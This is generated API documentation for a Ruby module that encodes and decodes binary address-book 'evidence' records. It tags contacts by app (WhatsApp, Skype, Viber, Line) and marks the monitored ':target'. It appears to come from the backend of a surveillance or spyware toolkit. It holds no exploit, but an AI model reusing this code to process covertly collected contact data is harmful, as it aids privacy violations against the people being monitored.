Module: RCS::IaddressbookEvidence

Defined in:
lib/rcs-common/evidence/addressbook.rb

Overview

::AddressbookEvidence

Constant Summary collapse

VERSION_2 =
0x10000000
CONTACTLIST =
0x0000C021
CONTACTFILE =
0x0000C022
LOCAL_CONTACT =
0x80000000
PROGRAM_WHATSAPP =
0x00000001
PROGRAM_SKYPE =
0x00000002
PROGRAM_VIBER =
0x00000004
PROGRAM_MESSAGES =
0x00000008
PROGRAM_LINE =
0x00000010

Instance Method Summary collapse

Instance Method Details

#contentObject



56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# File 'lib/rcs-common/evidence/addressbook.rb', line 56

def content
  header = StringIO.new
  header.write [CONTACTLIST | VERSION_2].pack('L')
  header.write [0].pack('L')   # len (ignored)
  header.write [1].pack('L')   # num records

  header.write [CONTACTFILE].pack('L')
  header.write [LOCAL_CONTACT].pack('L')   # flags
  header.write [0].pack('L')   # len (ignored)

  name = "FirstName".to_utf16le_binary_null
  write_name(header, name)

  name = "LastName".to_utf16le_binary_null
  write_name(header, name)

  header.write [CONTACTFILE].pack('L')
  header.write [1].pack('L')   # num_contacts

  name = "+39123456789".to_utf16le_binary_null
  write_number(header, name)

  header.string
end

#decode_content(common_info, chunks) ⇒ Object



85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# File 'lib/rcs-common/evidence/addressbook.rb', line 85

def decode_content(common_info, chunks)
  stream = StringIO.new chunks.join

  # ABLogStruct
  magic_ver = read_uint32 stream
  raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic_ver} != #{CONTACTLIST}]") unless magic_ver == CONTACTLIST or magic_ver == (CONTACTLIST | VERSION_2)

  stream.read(4) # len, ignore
  num_records = read_uint32 stream

  (0..num_records-1).each do |i|

    info = Hash[common_info]
    info[:data] ||= Hash.new
    info[:data][:program] = :phone

    # ABFile
    magic = read_uint32 stream
    raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic} != #{CONTACTFILE}]") unless magic == CONTACTFILE
    flags = read_uint32(stream) if (magic_ver & VERSION_2 != 0)

    info[:data][:type] = :target if (flags & LOCAL_CONTACT != 0)
    info[:data][:program] = :whatsapp if (flags & PROGRAM_WHATSAPP != 0)
    info[:data][:program] = :skype if (flags & PROGRAM_SKYPE != 0)
    info[:data][:program] = :viber if (flags & PROGRAM_VIBER != 0)
    info[:data][:program] = :line if (flags & PROGRAM_LINE != 0)
    info[:data][:program] = :messages if (flags & PROGRAM_MESSAGES != 0)

    len = read_uint32 stream

    #ABName (first name)
    first_name = read_name(stream)

    #ABName (last name)
    last_name = read_name(stream)

    info[:data][:name] = "#{first_name} #{last_name}"

    #ABContacts
    magic = read_uint32 stream
    num_contacts = read_uint32 stream

    (0..num_contacts-1).each do |i|
      type, number = read_number(stream)
      case type
        when 0
          info[:data][:info] ||= number.delete(' ')
          info[:data][:handle] = number.delete(' ')
        else
          info[:data][:info] += "#{number}\n"
      end
    end

    trace :debug, "IADDRESSBOOK #{info[:data]}"

    yield info if block_given?
  end

  :keep_raw
end

#generate_contentObject



81
82
83
# File 'lib/rcs-common/evidence/addressbook.rb', line 81

def generate_content
  [content]
end

#read_name(stream) ⇒ Object



146
147
148
149
150
# File 'lib/rcs-common/evidence/addressbook.rb', line 146

def read_name(stream)
  magic = read_uint32 stream
  len = read_uint32 stream
  stream.read(len).utf16le_to_utf8
end

#read_number(stream) ⇒ Object



158
159
160
161
162
163
# File 'lib/rcs-common/evidence/addressbook.rb', line 158

def read_number(stream)
  magic = read_uint32 stream
  type = read_uint32 stream
  name = read_name(stream)
  return type, name
end

#write_name(stream, name) ⇒ Object



152
153
154
155
156
# File 'lib/rcs-common/evidence/addressbook.rb', line 152

def write_name(stream, name)
  stream.write [CONTACTFILE].pack('L')
  stream.write [name.bytesize].pack('L')
  stream.write name
end

#write_number(stream, number) ⇒ Object



165
166
167
168
169
# File 'lib/rcs-common/evidence/addressbook.rb', line 165

def write_number(stream, number)
  stream.write [CONTACTFILE].pack('L')
  stream.write [0].pack('L') # type
  write_name(stream, number)
end